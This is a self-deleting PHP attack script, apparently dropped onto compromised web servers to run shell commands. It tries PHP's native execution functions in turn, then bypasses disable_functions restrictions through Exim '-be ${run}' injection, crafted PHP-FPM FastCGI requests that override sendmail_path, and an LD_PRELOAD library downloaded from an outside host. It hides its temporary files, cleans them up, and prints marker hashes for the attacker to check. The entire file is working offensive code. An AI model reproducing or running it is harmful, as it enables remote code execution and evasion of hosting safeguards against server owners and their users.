<?php 
@set_time_limit(0);
unlink(__FILE__);
echo(md5("J3mY7s8CY5"));@unlink(__FILE__);
$cmd = base64_decode('dW5hbWUgLWE=');
$cmd = $cmd . ' 2>&1';

function _fpm_run($cmd) {
    if (!function_exists("mail") || !function_exists("fsockopen")) return false;
    $work = null;
    foreach (array(getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp") as $d) {
        if (is_string($d) && $d !== "" && @is_dir($d) && @is_writable($d)) { $work = rtrim($d, "/"); break; }
    }
    if ($work === null) return false;
    $tag = substr(md5(uniqid("", true)), 0, 10);
    $driver = $work . "/.fpmd_" . $tag . ".php";
    $script = $work . "/.fpms_" . $tag . ".sh";
    $out_file = $work . "/.fpmo_" . $tag . ".out";
    if (@file_put_contents($driver, "<?php @mail('a@b.c', 'x', 'x'); ?>") === false) return false;
    if (@file_put_contents($script, "#!/bin/sh\n{ " . $cmd . " ; } > " . $out_file . " 2>&1\n") === false) {
        @unlink($driver);
        return false;
    }
    @chmod($script, 0755);
    $sockets = array();
    foreach (array("/tmp", "/var/run", "/var/run/php", "/run", "/run/php", "/run/php-fpm", "/var/run/php-fpm") as $d) {
        if (!@is_dir($d)) continue;
        $entries = @scandir($d);
        if (!$entries) continue;
        foreach ($entries as $e) {
            if ($e === "." || $e === "..") continue;
            $p = $d . "/" . $e;
            if (@is_file($p) && substr($p, -5) === ".sock") $sockets[] = "unix://" . $p;
        }
    }
    $sockets[] = "tcp://127.0.0.1:9000";
    $sockets[] = "tcp://127.0.0.1:9001";
    $params = array(
        "SCRIPT_FILENAME" => $driver,
        "SCRIPT_NAME" => "/" . basename($driver),
        "REQUEST_METHOD" => "GET",
        "REQUEST_URI" => "/" . basename($driver),
        "QUERY_STRING" => "",
        "DOCUMENT_ROOT" => $work,
        "SERVER_PROTOCOL" => "HTTP/1.1",
        "GATEWAY_INTERFACE" => "CGI/1.1",
        "SERVER_SOFTWARE" => "nginx",
        "SERVER_NAME" => "localhost",
        "REMOTE_ADDR" => "127.0.0.1",
        "CONTENT_LENGTH" => "0",
        "PHP_ADMIN_VALUE" => "sendmail_path=/bin/sh " . $script . "\n",
    );
    $nv = "";
    foreach ($params as $k => $v) {
        $kl = strlen($k); $vl = strlen($v);
        $nv .= ($kl < 128) ? chr($kl) : pack("N", $kl | 0x80000000);
        $nv .= ($vl < 128) ? chr($vl) : pack("N", $vl | 0x80000000);
        $nv .= $k . $v;
    }
    $req = chr(1) . chr(1) . pack("n", 1) . pack("n", 8) . chr(0) . chr(0) . pack("n", 1) . chr(0) . str_repeat(chr(0), 5);
    $req .= chr(1) . chr(4) . pack("n", 1) . pack("n", strlen($nv)) . chr(0) . chr(0) . $nv;
    $req .= chr(1) . chr(4) . pack("n", 1) . pack("n", 0) . chr(0) . chr(0);
    $req .= chr(1) . chr(5) . pack("n", 1) . pack("n", 0) . chr(0) . chr(0);
    foreach ($sockets as $sock) {
        if (strpos($sock, "unix://") === 0) {
            $fp = @fsockopen($sock, -1, $errno, $errstr, 2);
        } else {
            $parts = explode(":", substr($sock, 6));
            $fp = @fsockopen($parts[0], isset($parts[1]) ? (int)$parts[1] : 9000, $errno, $errstr, 2);
        }
        if (!$fp) continue;
        stream_set_timeout($fp, 3);
        @fwrite($fp, $req);
        $started = microtime(true);
        while (!feof($fp)) {
            if (microtime(true) - $started > 5) break;
            $h = @fread($fp, 8);
            if ($h === false || strlen($h) < 8) break;
            $a = unpack("Cver/Ctype/nid/nlen/Cpad/Cres", $h);
            $len = $a["len"];
            $body = "";
            while (strlen($body) < $len) {
                $chunk = @fread($fp, $len - strlen($body));
                if ($chunk === false || $chunk === "") break;
                $body .= $chunk;
            }
            if ($a["pad"] > 0) @fread($fp, $a["pad"]);
            if ($a["type"] == 3) break;
        }
        @fclose($fp);
        $waited = 0;
        while ($waited < 6) {
            if (@file_exists($out_file)) break;
            usleep(250000);
            $waited += 0.25;
        }
        if (@file_exists($out_file)) {
            usleep(200000);
            $o = @file_get_contents($out_file);
            @unlink($driver); @unlink($script); @unlink($out_file);
            return ($o === false || $o === "") ? "__OK__" : $o;
        }
    }
    @unlink($driver); @unlink($script); @unlink($out_file);
    return false;
}

function _try_native($cmd) {
    $methods = array("shell_exec","exec","system","passthru","popen","proc_open","pcntl_exec");
    foreach ($methods as $m) {
        if (!function_exists($m)) continue;
        if ($m === "shell_exec") {
            $o = @shell_exec($cmd);
            if ($o !== null && $o !== "") return array($o, "shell_exec");
            continue;
        }
        if ($m === "exec") {
            $o = array(); $rv = 0;
            @exec($cmd, $o, $rv);
            $o = implode("\n", $o);
            if ($o !== "") return array($o, "exec");
            continue;
        }
        if ($m === "system") {
            ob_start();
            @system($cmd);
            $o = ob_get_clean();
            if ($o !== "" && $o !== false) return array($o, "system");
            continue;
        }
        if ($m === "passthru") {
            ob_start();
            @passthru($cmd);
            $o = ob_get_clean();
            if ($o !== "" && $o !== false) return array($o, "passthru");
            continue;
        }
        if ($m === "popen") {
            $h = @popen($cmd, "r");
            if ($h) {
                $o = "";
                while (!feof($h)) $o .= fgets($h);
                pclose($h);
                if ($o !== "") return array($o, "popen");
            }
            continue;
        }
        if ($m === "proc_open") {
            $desc = array(1 => array("pipe","w"), 2 => array("pipe","w"));
            $proc = @proc_open($cmd, $desc, $pipes);
            if (is_resource($proc)) {
                $o = stream_get_contents($pipes[1]);
                fclose($pipes[1]); fclose($pipes[2]);
                proc_close($proc);
                if ($o !== "") return array($o, "proc_open");
            }
            continue;
        }
        if ($m === "pcntl_exec") {
            $pipe = tempnam(sys_get_temp_dir(), "pcntl");
            $pid = @pcntl_fork();
            if ($pid === -1) continue;
            if ($pid === 0) {
                $fp = fopen($pipe, "w");
                if ($fp) {
                    $fd = fileno($fp);
                    if ($fd !== false) {
                        @dup2($fd, 1);
                        @dup2($fd, 2);
                    }
                    fclose($fp);
                }
                @pcntl_exec("/bin/sh", array("-c", $cmd));
                exit(127);
            }
            @pcntl_wait($status);
            $o = @file_get_contents($pipe);
            @unlink($pipe);
            if ($o !== "" && $o !== false) return array($o, "pcntl_exec");
            continue;
        }
    }
    return false;
}

function _bypass_exim_run($cmd) {
    if (!function_exists("mail")) return false;
    $work_dirs = array(sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd());
    $work_dir = null;
    foreach ($work_dirs as $d) {
        if (@is_writable($d)) {
            $test = $d . "/.exim_t_" . mt_rand();
            $tf = @fopen($test, "wb");
            if ($tf !== false) { @fwrite($tf, "x"); @fclose($tf); }
            if (@file_exists($test)) { @unlink($test); $work_dir = $d; break; }
        }
    }
    if ($work_dir === null) return false;
    $token = substr(md5(uniqid("", true)), 0, 8);
    $script = $work_dir . "/.exim_" . $token . ".sh";
    $output = $work_dir . "/.exim_" . $token . ".out";
    $content = "#!/bin/sh\nexport HOME=" . $work_dir . "\n{ " . $cmd . " ; } > " . $output . " 2>&1\n";
    $sf = @fopen($script, "wb");
    if ($sf === false) return false;
    @fwrite($sf, $content);
    @fclose($sf);
    @chmod($script, 0755);
    $ap = "-be \${run{" . $script . "}}";
    if (!@mail("x@y", "t", "b", "", $ap)) { @unlink($script); return false; }
    $waited = 0;
    while ($waited < 15) {
        if (@file_exists($output)) {
            usleep(300000);
            $out = @file_get_contents($output);
            @unlink($output); @unlink($script);
            return ($out === false || $out === "") ? "__OK__" : $out;
        }
        usleep(500000); $waited += 0.5;
    }
    @unlink($script); @unlink($output);
    return false;
}

function _bypass_ld_preload($cmd) {
    if (!function_exists("putenv") || !function_exists("mail")) return false;
    $bypass_url = "https://s.pixelflows.org/f/ebe31a04-fb3c-4706-9d0c-f06916412dda";
    $bypass_path = sys_get_temp_dir() . "/bypass.so";
    $content = @file_get_contents($bypass_url);
    if ($content === false || $content === "") return false;
    $bf = @fopen($bypass_path, "wb");
    if ($bf === false) return false;
    @fwrite($bf, $content);
    @fclose($bf);
    $output = sys_get_temp_dir() . "/output_" . uniqid() . ".txt";
    @putenv("LD_PRELOAD=" . $bypass_path);
    @putenv("CMD=" . $cmd . " > " . $output . " 2>&1");
    @mail("", "", "", "");
    @error_log("", 0);
    sleep(2);
    if (@file_exists($output) && @filesize($output) > 0) {
        $o = @file_get_contents($output);
        @unlink($output);
        return $o;
    }
    @unlink($output);
    return false;
}

function _run_bypass($cmd) {
    $out = _try_native($cmd);
    if ($out !== false) return $out[0] . "\n[[METHOD:" . $out[1] . "]]";

    $out = _bypass_exim_run($cmd);
    if ($out !== false) return $out . "\n[[METHOD:exim_run]]";

    $out = _bypass_ld_preload($cmd);
    if ($out !== false) return $out . "\n[[METHOD:ld_preload]]";

    $out = _fpm_run($cmd);
    if ($out !== false) return $out . "\n[[METHOD:php_fpm]]";

    return "\n[[METHOD:none]]";
}
print _run_bypass($cmd);
;echo(md5("yp06gKY6ii"));;
?>